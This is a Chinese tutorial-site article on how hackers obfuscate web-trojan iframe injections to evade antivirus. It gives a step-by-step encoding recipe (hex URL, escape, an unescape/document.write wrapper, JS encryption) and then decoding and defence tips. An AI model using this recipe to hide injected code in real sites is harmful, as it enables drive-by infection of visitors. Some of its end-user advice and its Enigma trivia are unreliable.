萬盛學電腦網

 萬盛學電腦網 >> 病毒防治 >> 剖析網頁木馬如何加密代碼以逃避追殺

剖析網頁木馬如何加密代碼以逃避追殺

  隨著網頁掛馬的流行,殺毒軟件也開始緊盯各種網頁掛馬方式,這讓許多黑客很惱火。但是黑客也很快找到了應對的方法,這種方法就是將掛馬的網頁代碼進行加密,打亂原有代碼的模樣,讓殺毒軟件無從辨識。難道加密後的網頁木馬就真的無法防范嗎?答案就在下文中。

  瑞星唐威:資深安全工程師,在網絡安全方面研究頗深。
  對掛馬網頁進行加密是黑客經常用的手段,這種手段能夠躲避殺毒軟件的追殺,因此近年來黑客在進行網頁掛馬時,通常會選擇將已經做好的網頁代碼進行二次加密甚至多次加密。
  早期黑客多數都只采用簡單的Unicode轉碼來實現加密,但是采用這種加密方式的網頁很快就被殺毒軟件查殺了,無法再有效地起到免殺作用,因此網頁加密也開始逐步升級花樣百出,從Escape可轉換編碼加密到轉義字符加密,最後發展到自定義函數來進行加密。

  安全百科:Escape是一個存在於JavaScript、VBS等腳本語言中的函數,在JavaScript中,Escape函數起著讓一些非英語字符在傳遞過程中進行重新編碼再傳遞的作用。

  網頁木馬為什麼要加密

  網頁木馬人人恨,殺毒軟件對它也是非常關注,也會采取各種防范手段。網頁木馬的傳播就受到限制,為了更好地生存,為了不被殺毒軟件等安全工具發現,很多黑客對網頁木馬進行了加密,增加了殺毒軟件查殺的難度,提高了網頁木馬的生存率。因此,主流的網頁木馬都是進行過加密的。

  網頁木馬加密的種類有許多,多數都是利用網頁代碼各個標准互相轉換的特點,進行編碼的轉換加密,這種加密方式在某種意義上,只是干擾了依靠特征碼辨識網頁木馬的殺毒軟件的識別,但並沒有將自己加密。因此,現在比較高級的加密手段是在編寫腳本語言的時候自己進行函數的定義,然後再進行字符串加密,多制造一些讓殺毒軟件混亂的門檻,從而讓它們無從辨別。

  用字符轉換的方式進行加密,就如同我們用中文對一個翻譯講話一樣,我們計算機就是這個精通許多語言的翻譯,我們將一句話告訴這個翻譯,這個翻譯隨後用英語將這段話抄了下來,然後又用替換密碼將這段英文進行簡單的替換,最後再將這段英文用莫爾斯電碼發送給另外一個能夠解密的翻譯。

  由於整個過程使用的都只是基本的代碼轉換,因此任何一個懂英語會莫爾斯電碼並了解英文替換密碼的人都能夠解開這個密碼,但是對於不會英語或者不會發電報的人而言,這已經是非常費解的東西了。下面,我們以當前黑客最常用的Escape加密方法為例,剖析網頁木馬加密的方式和防范方法。

  安全八卦:在密碼學的歷史上,最有名的替換密碼工具是二戰時期德軍使用的代號為“Enigma”的密碼機,Enigma在二戰時為德軍的閃電戰和德國海軍的“群狼”潛艇戰提供了絕佳的通訊保密措施。為了能夠解密Enigma,盟軍在英國專門建立破譯中心,而在這個中心中誕生了世界上第一台計算機,20世紀最偉大的計算機之父阿蘭·圖靈就是在破解Enigma的時候產生了許多現代計算機雛形的理論。

  網頁木馬加密/解密實錄

  

  首先編寫需要加密的HTML代碼,這裡選用以下IFRAME框架掛馬中的代碼:

<iframe src=http://soft.yesky.com width=400 height=300></iframe>

  然後登錄轉換網站http://tool.chinaz.com。

  在網頁中找到“代碼轉換工具”,然後點擊選擇下拉菜單中的“URL16進制加密”一項,之後將木馬網頁鏈接地址 http://soft.yesky.com輸入到地址欄中,點擊“加密”後為http://%73%6F%66%74%2E%79%65%73%6B%79%2E%63%6F%6D/ (圖1)。

剖析網頁木馬如何加密逃避追殺

  接著,將加密後的網址粘貼回原來的IFRAME代碼中:

<iframe src= http://%73%6F%66%74%2E%79%65%73%6B%79%2E%63%6F%6D/ width=400 height=300></iframe>

  再點擊“代碼轉換工具”菜單中的“Encode加密/解密工具”,將IFRAME代碼復制到輸入框中,點擊“Encode加密”,得到加密後的代碼:%3Ciframe+src%3D+http%3A%2F%2F%2573%256F%2566%2574%252E%2579%2565%2573%256B%2579%252E%2563%256F%256D%2F+width%3D400+height%3D300%3E%3C%2Fiframe%3E+
(圖2)。

  然後,打開寫字板程序,將下列代碼輸入到寫字板中,並將加密代碼復制到指定位置:

  <SCRIPT LANGUAGE="Javascript"><!——
  var Words ="把加密生成後的代碼復制到此處就 OK 了!"
  function OutWord()
  {
  var NewWords;
  NewWords = unescape(Words)
  document.write(NewWords);
  }
  OutWord();
  // ——>
  </SCRIPT>

剖析網頁木馬如何加密逃避追殺

  最後,點擊“代碼轉換工具”菜單中的“JS方式加密/解密”,將修改完成的JavaScript代碼復制到輸入框中,然後點擊“JS加密”,完成代碼加密過程(圖3),再將加密後的代碼放入到希望插入木馬的網頁中即可。以後,當用戶訪問該網站時,就會激活木馬。

剖析網頁木馬如何加密逃避追殺

  

  安全工程師碰到加密的惡意網頁時,同樣進入轉換網站,然後將那些復雜的代碼粘貼到解密的輸入框中,再點擊“解密”按鈕即可解出原文。但是需要注意的是,由於解密涉及到不同的字符編碼之間的轉換,因此在解密過程中一定要抓住不同編碼的特點,例如Escape編碼中,通常會以“%”作為開頭,在將中文轉換為Escape編碼後,往往是“%”後面緊跟著小寫字母“u”,接下來是4位字母,它們就是16進制的字符。

  一般用戶要防范加密過的惡意網頁,最好的方法是開啟殺毒軟件中的腳本過濾功能,或者在IE浏覽器“Internet選項”中的“高級”標簽中選擇“禁用腳本調試”。此外JS加密和URL16進制加密有時在火狐浏覽器中會被自動屏蔽,在浏覽自己懷疑有危險的網頁時,可以選擇火狐浏覽器。

copyright © 萬盛學電腦網 all rights reserved